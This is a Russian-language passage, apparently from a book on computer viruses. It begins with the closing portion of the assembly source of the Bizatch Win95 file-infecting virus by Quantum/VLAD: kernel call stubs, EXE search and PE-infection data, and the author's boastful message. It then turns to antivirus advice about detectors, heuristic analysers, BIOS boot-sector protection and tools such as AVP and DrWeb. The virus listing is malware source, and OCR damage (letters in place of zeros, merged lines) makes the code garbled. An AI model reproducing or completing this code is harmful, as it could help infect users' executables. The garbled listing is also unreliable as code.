push OBFF9DOB6h jmp [ebp+offset kern] gettimekern2:
;Запишем в стек значение для получения
;Времени и даты и вызовем KERNEL
push OBFF9Dl4Eh jmp [ebp+offset kern]
;Вывод сообщения
MsgBox:
;Запишем в стек значение для вывода сообщения и вызовем KERNEL push OBFF638D9h jmp [ebp+offset kern]
;Поиск первого файла
FindFile:
;Запишем в стек значение для поиска первого файла
;и вызовем KERNEL
push OBFF77893h jmp [ebp+offset kern]
;Поиск следующего файла
FindNext:
;Запишем в стек значение для поиска
;следующего файла и вызовем KERNEL
push OBFF778CBh jmp [ebp+offset kern]
;Открытие/создание файла
CreateFile:
;3апишем в стек значение для открытия/создания файла
;и вызовем KERNEL
push OBFF77817h jmp [ebp+offset kern]
;Установка указателя чтения/записи
SetFilePointer:
;Запишем в стек значение для установки
;указателя чтения/записи файла и вызовем KERNEL
push OBFF76FAOh jmp [ebp+offset kern]
;Чтение из файла
ReadFile:
;3апишем в стек значение для чтения из файла и вызовем KERNEL push OBFF75806h jmp [ebp+offset kern]
;3апись в файл
WriteFile:
;3апишем в стек значение для записи в файл и вызовем KERNEL push OBFF7580Dh jmp [ebp+offset kern]
;Закрытие файла
CloseFile:
;3апишем в стек значение для закрытия файла и вызовем KERNEL push OBFF7BC72h jmp [ebp+offset kern]
;Счетчик заражений countinfect db 0
;Используется для поиска файлов win32_data_thang:
fileattr dd 0 createtime dd 0,0 lastaccesstime dd 0,0 lastwritetime dd 0,0 filesize dd 0,0 resv dd 0,0 fullname db 256 dup (0) realname db 256 dup (0)
;Имя сообщения, выводимого 31-го числа boxtitle db "Bizatch by Quantum / VLAD",0
;Сообщение, .выводимое 31-го числа boxmsg db "The taste of fame just got tastier!",0dh db "VLAD. Australia does it again with the world"s first Win95 Virus" db Odh.Odh db 9,"From the old school to the new. ",0dh,0dh db 9,"Metabolis",0dh db 9,"Qark",0dh db 9,"Darkman",0dh db 9,"Quantum",0dh db 9,"CoKe",0 messagetostupidavers db "Please note: the name of this virus is [Bizatch]" db "written by Quantum of VLAD",0
;Данные о директориях orgdir db 256 dup (0) tempdir db 256 dup (0) tempdirl db 256 dup (0)
Используется для смены директории dotdot db ".",0
;Используется для получения времени/даты systimestruct:
dw 0,0,0 day dw 0 dw 0,0,0,0
;Индекс для поиска файлов searchhandle dd О
;Маска для поиска fname db "*.exe",0
;Описатель открытого файла ahand dd О
;Смещение РЕ-заголовка в файле peheaderoffset dd О
;Смещение таблицы объектов
ObjedlTableoffset dd О
;Количество записанных/считанных байт при работе с файлом bytesread dd О
;Новый объект newobject:
oname db ".vlad",0,0,0
virtualsize dd 0
RVA dd 0
physicalsize dd 0 physicaloffset dd 0 reserved dd 0,0,0 objectflags db 40h,0,0,OCOh
;Данные, необходимые для заражения файла
peheader:
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
;0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектов vend:
db 1000h dup (0) ends end vstart
Методы борьбы с вирусами.
Рассмотрим различные способы борьбы с вирусами. Итак, что же такое антивирус? Сразу же развеем одну часто возникающую иллюзию. Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу или монитор, можно быть абсолютно уверенным в их надежности. Такая точка зрения не совсем верна. Дело в том, что антивирус - это тоже программа, конечно, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. То есть антивирус против конкретного вируса может быть написан только в том случае, когда у программиста есть в наличии хотя бы один экземпляр этого вируса. Вот и идет эта бесконечная война между авторами вирусов и антивирусов, правда, первых в нашей стране почему-то всегда больше, чем вторых. Но и у создателей антивирусов есть преимущество! Дело в том, что существует большое количество вирусов, алгоритм которых практически скопирован с алгоритма других вирусов. Как правило, такие вариации создают непрофессиональные программисты, которые по каким-то причи-нам решили написать вирус. Для борьбы с такими «копиями» придумано новое оружие - эвристические анализаторы. С их помощью антивирус способен находить подобные аналоги известных вирусов, сообщая пользователю, что у него, похоже, завелся вирус. Естественно, надежность эвристического анализатора не 100%, но все же его коэффициент полезного действия больше 0,5. Таким образом, в этой информационной войне, как, впрочем, и в любой другой, остаются сильнейшие. Вирусы, которые не распознаются антивирусными детекторами, способны написать только наиболее опытные и квалифицированные программисты.
Таким образом, на 100% защититься от вирусов практически невозможно
(подразумевается, что пользователь меняется дискетами с друзьямии играет в
игры, а также получает информацию из других источников,например из сетей).
Если же не вносить информацию в компьютер из-вне, заразиться вирусом
невозможно - сам он не родится. Итак, что же можно посоветовать, чтобы
сталкиваться с вирусами какможно меньше или, по крайней мере, только
сталкиваться, не допускаяих на жесткий диск своего винчестера. В первую
очередь - самые элементарные правила «компьютерной гигиены»: проверка
дискет на наличие вируса самыми надежными антивирусными программами,
такими, например, как AVP или DrWeb. Очень хорошо, если на жестком диске
установлен ревизор Adinf. Многие пользователи добавляют строку запуска
ревизоров, антивирусов, антивирусных мониторов в конфигура-ционный файл
AUTOEXEC.BAT - тоже весьма действенно.
Есть определенные способы борьбы и с загрузочными вирусами. В установках (SETUP) компьютера предусмотрена защита от записи в MBR. Когда запись начинается, BIOS сразу же ее останавливает и запрашивает подтверждение на разрешение записи. Естественно, следует запретить запись, а затем загрузится со своей, заранее подготовленной, системной дискеты. У большинства компьютерных пользователей такой дискеты нет - а надо бы завести. И это еще не все. Вирусы постоянно совершенствуются, и все их многообразие охватить, конечно, невозможно. Поэтому надо быть готовым, что рано или поздно вирус все-таки попадет на жесткий диск, и встретить его нужно во всеоружии.
Стандартные программы защиты
В большинстве случаев вирус, заразивший компьютер, помогут обнаружить
уже разработанные программы-детекторы. Они проверяют, имеется ли в файлах
на указанном пользователем диске специфическая для данного вируса
последовательность байт. При обнаружении вируса программа выводит на экран
соответствующее сообщение. Стоит также заметить, что программы-детекторы не
слишком универсальны, поскольку способны обнаружить только известные
вирусы. Некоторым таким программам можно сообщить специальную
последовательность байт, характерную для какого-то вируса, и они смогут
обнаружить инфицированные им файлы - например, это умеет NotronAntiVirus
или AVSP. Программа Aidstest устарела и сейчас уже практически не
используется. Наиболее широкое распространение получили программы DrWeb и
AVP. Благодаря своим новейшим детекторам, они могут обнаружить любые вирусы
- как самые старые, так и только что появившиеся. Еще нужно упомянуть
детектор Adinf. Эта антивирусная программа обнару-живает все вирусы, не
изменяющие длину файлов, невидимые вирусы, и многие другие. Таким образом,
эти три программы обеспечат мощнейшую защиту против вирусов. Кстати, на
западе тоже предпочитают пользоваться российскими программами DrWeb и AVP.
Спасаясь от вирусов, создайте мощную защиту против них. Установитена своем
диске AVP, DrWeb и Adinf. Каждая программа хороша по-своему - пусть защита
будет многоуровневой. Все эти программы можно вписать в файл AUTOEXEC.BAT,
тогда при загрузке компьютера проверка на заражение вирусом будет
проводиться автоматически. Всегда проверяйте файлы, попадающие на ваш
компью